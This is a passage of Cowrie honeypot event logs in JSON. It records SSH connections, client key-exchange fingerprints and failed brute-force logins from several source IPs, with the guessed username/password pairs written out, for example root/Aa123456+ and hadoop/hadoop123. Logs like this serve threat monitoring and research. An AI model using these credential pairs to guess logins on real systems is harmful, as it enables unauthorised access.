-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:45.225412Z","src_ip":"160.187.174.22","session":"8a6ba0de1599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:45.921021Z","src_ip":"160.187.174.22","session":"8a6ba0de1599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:46.023680Z","src_ip":"91.92.40.153","session":"eb9fab5a99dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":56394,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a2d15dc64b1","protocol":"ssh","message":"New connection: 202.61.233.105:56394 (159.203.135.109:22) [session: 1a2d15dc64b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:47.151973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:47.155856Z","src_ip":"202.61.233.105","session":"1a2d15dc64b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:47.159775Z","src_ip":"160.187.174.22","session":"8a6ba0de1599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:47.247910Z","src_ip":"202.61.233.105","session":"1a2d15dc64b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:47.351965Z","src_ip":"91.92.40.153","session":"eb9fab5a99dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M@k3r$M@st3r@P@ss","message":"login attempt [root/M@k3r$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:47.524266Z","src_ip":"202.61.233.105","session":"1a2d15dc64b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:48.617973Z","src_ip":"202.61.233.105","session":"1a2d15dc64b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":32956,"dst_ip":"10.17.0.5","dst_port":22,"session":"f85f4da2956b","protocol":"ssh","message":"New connection: 91.92.40.153:32956 (10.17.0.5:22) [session: f85f4da2956b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:49.295449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:49.443643Z","src_ip":"91.92.40.153","session":"f85f4da2956b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:49.471645Z","src_ip":"91.92.40.153","session":"f85f4da2956b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:50.337394Z","src_ip":"91.92.40.153","session":"f85f4da2956b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword123","message":"login attempt [ubuntu/P@ssword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:51.084526Z","src_ip":"139.99.74.35","session":"ccc3942228b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:51.645583Z","src_ip":"91.92.40.153","session":"f85f4da2956b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34014,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8c8ca95382a","protocol":"ssh","message":"New connection: 91.92.40.153:34014 (10.17.0.5:22) [session: f8c8ca95382a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:55.133433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:55.323429Z","src_ip":"91.92.40.153","session":"f8c8ca95382a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:55.329706Z","src_ip":"91.92.40.153","session":"f8c8ca95382a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:56.965629Z","src_ip":"91.92.40.153","session":"f8c8ca95382a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.3","message":"Connection lost after 44.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:58.138635Z","src_ip":"139.99.74.35","session":"ccc3942228b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:58.356246Z","src_ip":"91.92.40.153","session":"f8c8ca95382a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":53288,"dst_ip":"159.203.135.109","dst_port":22,"session":"95a996173b15","protocol":"ssh","message":"New connection: 139.99.74.35:53288 (159.203.135.109:22) [session: 95a996173b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:59.576587Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34050,"dst_ip":"10.17.0.5","dst_port":22,"session":"06123b3f739f","protocol":"ssh","message":"New connection: 91.92.40.153:34050 (10.17.0.5:22) [session: 06123b3f739f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:01.141728Z"}
{"eventid":"cowrie.session.closed","duration":55.10645532608032,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:01.147686Z","src_ip":"167.172.116.158","session":"01a8ca886e46","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:01.402864Z","src_ip":"91.92.40.153","session":"06123b3f739f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:01.406517Z","src_ip":"91.92.40.153","session":"06123b3f739f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:02.472763Z","src_ip":"91.92.40.153","session":"06123b3f739f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:03.587001Z","src_ip":"91.92.40.153","session":"06123b3f739f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:04.354389Z","src_ip":"139.99.74.35","session":"95a996173b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44014,"dst_ip":"159.203.135.109","dst_port":22,"session":"e324305dbbe0","protocol":"ssh","message":"New connection: 139.99.74.35:44014 (159.203.135.109:22) [session: e324305dbbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:04.587621Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41730,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeca2bbf6412","protocol":"ssh","message":"New connection: 91.92.40.153:41730 (10.17.0.5:22) [session: aeca2bbf6412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:07.502325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:07.606372Z","src_ip":"91.92.40.153","session":"aeca2bbf6412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:07.612962Z","src_ip":"91.92.40.153","session":"aeca2bbf6412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"user","message":"login attempt [username/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:08.488127Z","src_ip":"91.92.40.153","session":"aeca2bbf6412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:09.378388Z","src_ip":"139.99.74.35","session":"e324305dbbe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44054,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92d130b20c3","protocol":"ssh","message":"New connection: 139.99.74.35:44054 (159.203.135.109:22) [session: f92d130b20c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:09.603494Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:09.682349Z","src_ip":"91.92.40.153","session":"aeca2bbf6412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a79c4f1eb39b","protocol":"ssh","message":"New connection: 160.187.174.22:47228 (159.203.135.109:22) [session: a79c4f1eb39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:09.966419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:09.970628Z","src_ip":"160.187.174.22","session":"a79c4f1eb39b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:10.202653Z","src_ip":"160.187.174.22","session":"a79c4f1eb39b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:10.893359Z","src_ip":"160.187.174.22","session":"a79c4f1eb39b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:12.127395Z","src_ip":"160.187.174.22","session":"a79c4f1eb39b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56958,"dst_ip":"10.17.0.5","dst_port":22,"session":"abc3dda7fbf5","protocol":"ssh","message":"New connection: 91.92.40.153:56958 (10.17.0.5:22) [session: abc3dda7fbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:13.516189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:13.729731Z","src_ip":"91.92.40.153","session":"abc3dda7fbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:13.733877Z","src_ip":"91.92.40.153","session":"abc3dda7fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:14.407933Z","src_ip":"139.99.74.35","session":"f92d130b20c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45800,"dst_ip":"159.203.135.109","dst_port":22,"session":"0378af760325","protocol":"ssh","message":"New connection: 139.99.74.35:45800 (159.203.135.109:22) [session: 0378af760325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:14.633350Z"}
